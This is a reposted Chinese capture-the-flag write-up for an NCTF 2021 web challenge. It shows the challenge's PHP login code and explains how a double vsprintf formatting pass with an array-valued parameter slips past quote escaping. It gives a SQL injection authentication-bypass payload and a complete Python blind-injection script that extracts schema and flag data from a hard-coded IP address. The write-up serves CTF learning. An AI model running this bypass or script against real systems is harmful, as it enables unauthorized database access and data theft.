php vsprintf格式化字符串逃逸sql语句引号(nj

image.png

登陆界面。访问129.211.173.64:3080/www.zip 可以得到源码

config.php(这是用来连数据库的,没啥用,就不贴了)

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
php复制代码<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html>
<head>
<title>There is no absolutely safe system</title>
</head>
<body>
<?php
if (isset($_POST['password'])){
$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);

if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']);
}
else{
$query = $query . " and name='benjaminEngel'";
}
$query = $query . " limit 1";

$result = db::commit($query);

if ($result->num_rows > 0){
die('NCTF{ez');
}
else{
die('Wrong name or password.');
}
}
else{?>
<form action="login.php" method="post">
<input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
<input type="password" name="password" id="password" placeholder="Enter password">
<button type="submit">Submit</button>
</form>
<?php
}
?>
</body>
</html>

DB.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
php复制代码<?php

class DB{
private static $db = null;

public function __construct($db_host, $db_user, $db_pass, $db_database){
static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
}


static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
{
return new DB($db_host, $db_user, $db_pass, $db_database);
}

public static function getInstance(){
return static::$db;
}

public static function connect_error(){
return static::$db->connect_errno;
}

public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
die('%s not included in query!');
return;
}

// get args
$args = func_get_args();
array_shift( $args );

$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) {
$args = $args[0];
$args_is_array = true;
}

$count_format = substr_count($query, '%s');

if($count_format !== count($args)){
die('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value);
}

// prepare
$query = str_replace("%s", "'%s'", $query);
$query = vsprintf($query, $args);
return $query;

}
public static function commit($query){
$res = static::$db->query($query);
if($res !== false){
return $res;
}
else{
die('Error in query.');
}
}
}
?>

审计代码的逻辑,进行了两次格式化字符串,密码还用md5()包裹,而且每次都用单引号把%s闭合了,并且在替换%s前还用了real_escape_string($value)进行转义。(盯着这几个安全函数几个小时差点哭了555)

好吧好吧,还是有注入点的。这里用到了vsprint语句。在w3school可以查到它的例子

1
2
3
4
5
6
php复制代码<?php
$number = 9;
$str = "Beijing";
$txt = vsprintf("There are %u million bicycles in %s.",array($number,$str));
echo $txt;
?>

也就是说,可以post数组来逃逸引号。先来看看正常的sql查询语句

SELECT * FROMuserswhere password=md5(%s) and name=%s limit 1

其中两个%s就是post的账号和密码。

如果我们密码输入%s,name输入一个数组,第一个元素用来闭合md5并且注入再注释,第二个元素随便输,就能绕过了!

可以构造payload如下

name[0]=) or [bool] #&name[1]=a&password=%s
其中[bool]用来塞布尔值。

sql语句就会变为

SELECT * FROMuserswhere password=md5() or [bool] #) and name=a limit 1

试一下postname[0]=) or 1=1 #&name[1]=a&password=%s

image.png

还有一半flag在数据库里边。用二分脚本跑盲注即可。这里有个坑,最后查details的时候表名要写成
2021.NcTF
其他任何形式都不行。脚本如下(当然不是我这个菜鸡写的啦)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
python复制代码import requests
#NCTF{3v3ryth1ng_not_fantast1c_:)}
#uname:admin
Ts = "NCTF{3v3ryth1ng_"
Fs = "Wrong"
url = "http://129.211.173.64:3080/login.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
payload_database = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i, mid)
payload_all_database = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid)
payload_table = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1)))>%d)#" % (i, mid)
#4E635446 NcTF
payload_cloumn = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4E635446)),%d,1)))>%d)#" % (i, mid)
payload_info = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid)
#2021.NcTF fl@g
payload = payload_info
data = {"name[0]" : payload, "name[1]" : "SilentE", "password" : "12%s34"}
#urls = url + payload
resp = requests.post(url = url, data = data)
#print(resp.text)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
print(res)

if __name__ == "__main__" :
SQL_injection(url)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

0%